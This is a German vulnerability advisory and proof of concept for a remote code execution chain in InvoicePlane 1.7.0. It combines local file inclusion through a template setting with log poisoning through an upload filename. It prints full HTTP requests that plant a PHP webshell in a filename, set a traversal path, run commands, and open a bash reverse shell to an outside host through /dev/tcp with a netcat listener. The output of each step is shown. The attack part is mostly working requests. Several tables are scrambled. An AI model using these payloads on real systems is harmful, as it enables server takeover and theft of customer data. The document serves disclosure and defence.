
# Detaillierte technische Analyse und Proof-of-Concept für CVE-2026-25548, eine kritische RCE in InvoicePlane 1.7.0 über LFI und Log-Poisoning, einschließlich Angriffskette, PoC-Anfragen und Auswirkungsanalyse.
Schwachstelle: Remote Code Execution durch Local File Inclusion + Log Poisoning
Produkt: InvoicePlane
Betroffene Version: 1.7.0 (und wahrscheinlich frühere Versionen)
Schweregrad: Kritisch
CVSS 3.1-Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
Entdeckt von: Leonidas Agathos
Meldedatum: 2026-01-31
Eine kritische Schwachstellenkette in InvoicePlane 1.7.0 ermöglicht es einem authentifizierten Administrator, Remote Code Execution (RCE) auf dem zugrunde liegenden Server zu erreichen. Der Angriff kombiniert zwei Schwachstellen:
.php-Logdateien geschrieben, wodurch beliebiger PHP-Code injiziert werden kann.In Kombination kann ein Angreifer mit Admin-Zugriff die vollständige Kontrolle über den Server als Webserver-Benutzer erlangen. Der finale RCE-Auslöser ist nicht authentifiziert (öffentliche Rechnungs-URL).
| Attribut | Wert |
|---|
Verwundbarer Code (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
Verwundbarer Code (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
Die Einstellungen public_invoice_template und public_quote_template werden aus der Datenbank abgerufen und direkt in einen Dateipfad eingefügt, der an CodeIgniters load->view() übergeben wird (was zu PHP's include() aufgelöst wird). Es gibt keine Validierung, um:
../) zu verhindernEin Administrator kann diesen Wert auf jeden Pfad im Dateisystem setzen, eingeschränkt nur durch die automatisch angehängte .php-Endung.
| Attribut | Wert |
|---|---|
| Datei | application/modules/upload/controllers/Upload.php |
Verwundbarer Code (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
Wenn ein Dateiname die Pfad-Traversal-Prüfung auslöst, wird der rohe, nicht bereinigte Dateiname direkt in die Logdatei geschrieben. CodeIgniter-Logdateien:
.php-Endung: application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>Ein Angreifer, der <?php system($_GET[1]); ?> in den Dateinamen einbettet, bewirkt, dass dieser Payload in das Log geschrieben und später über die LFI ausgeführt wird.
[Authentifizierter Benutzer] → Bösartigen Dateinamen hochladen → PHP in Logdatei injiziert
[Admin] → Vorlageneinstellung setzen → LFI zeigt auf Logdatei
[Jeder] → Öffentliche Rechnungs-URL besuchen → RCE
| Schritt | Anforderung |
|---|---|
| Log Poisoning | Authentifizierter Benutzer mit Upload-Zugriff |
| LFI-Konfiguration | Administratorkonto |
| RCE-Auslöser | Nicht authentifiziert (öffentliche Rechnungs-URL) |
Senden Sie eine Datei-Upload-Anfrage mit einer PHP-Webshell, die in den Dateinamen eingebettet ist. Die Pfad-Traversal-Prüfung wird ausgelöst und schreibt den rohen Dateinamen (einschließlich des PHP-Payloads) in die Logdatei.
Anfrage (über Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
Der Server lehnt den Upload ab (upload_error_invalid_extension), aber der Logeintrag ist bereits geschrieben:
Ergebnis in application/logs/log-2026-01-31.php:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
Navigieren Sie zum Anhänge-Bereich einer Rechnung und klicken Sie auf Dateien hinzufügen, um den Upload-Endpunkt zu erreichen.



Als Administrator setzen Sie die Einstellung public_invoice_template so, dass sie mit einem Pfad-Traversal-Payload auf die heutige Logdatei zeigt. CodeIgniters View-Loader hängt .php automatisch an.
Anfrage (über Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
Der Traversal-Pfad wird von application/views/invoice_templates/public/ bis zu application/logs/ aufgelöst und bindet dann log-2026-01-31.php ein.

Rufen Sie eine beliebige öffentliche Rechnungs-URL mit einem Befehl auf, der als 1-GET-Parameter übergeben wird. Es ist keine Authentifizierung erforderlich.
Anfrage:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
Antwort (im Seitenquelltext):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
Der system($_GET[1])-Payload führt den Befehl id aus, und seine Ausgabe wird inline in der Seite angezeigt.

Ersetzen Sie den Befehl durch einen Bash-Reverse-Shell-Payload, um eine interaktive Shell zu erhalten:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
Auf dem Angreifer-Rechner:
nc -lnvp 4444
Ergebnis:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
Vollständige interaktive Shell als www-data.

| Dimension | Bewertung |
|---|
| Datei | Schwachstelle |
|---|---|
application/modules/guest/controllers/View.php:85 |
Diese Schwachstelle wurde im Rahmen unabhängiger Sicherheitsforschung entdeckt. Alle Informationen werden ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken bereitgestellt, um dem Hersteller und der Sicherheitsgemeinschaft beim Verständnis und der Behebung des Problems zu helfen. Jegliche böswillige Nutzung dieser Informationen ist strengstens untersagt.
| Datei | application/modules/guest/controllers/View.php |
| Zeilen | 85, 191 |
| Parameter | public_invoice_template (Datenbankeinstellung) |
| CWE | CWE-98: Unsachgemäße Kontrolle des Dateinamens für Include/Require-Anweisung |
| Zeilen | 178–184 |
| Parameter | Upload-Dateiname (HTTP-Multipart-Formulardaten) |
| CWE | CWE-117: Unsachgemäße Ausgabeneutralisierung für Logs |
| Detail |
|---|
| Vertraulichkeit | HOCH | Voller Lesezugriff auf alle Dateien, die für den Webserver-Benutzer zugänglich sind, einschließlich Datenbankzugangsdaten und Kundendaten |
| Integrität | HOCH | Beliebige Dateischreibvorgänge, Datenbankänderungen, Installation von Webshells |
| Verfügbarkeit | HOCH | Denial of Service, Ransomware-Einsatz, Systemzerstörung |
| LFI — Rechnungsvorlage |
application/modules/guest/controllers/View.php:191 | LFI — Angebotsvorlage |
application/modules/upload/controllers/Upload.php:182 | Log Poisoning |
application/modules/settings/controllers/Settings.php | Keine Validierung der Vorlageneinstellung |
| Datum | Ereignis |
|---|
| 2026-01-30 | Schwachstelle entdeckt |
| 2026-01-31 | Proof of Concept entwickelt |
| 2026-01-31 | Hersteller benachrichtigt |
| 2026-02-03 | Bestätigung durch den Hersteller |
| 2026-02-03 | Patch veröffentlicht |
| 2026-02-04 | Öffentliche Offenlegung |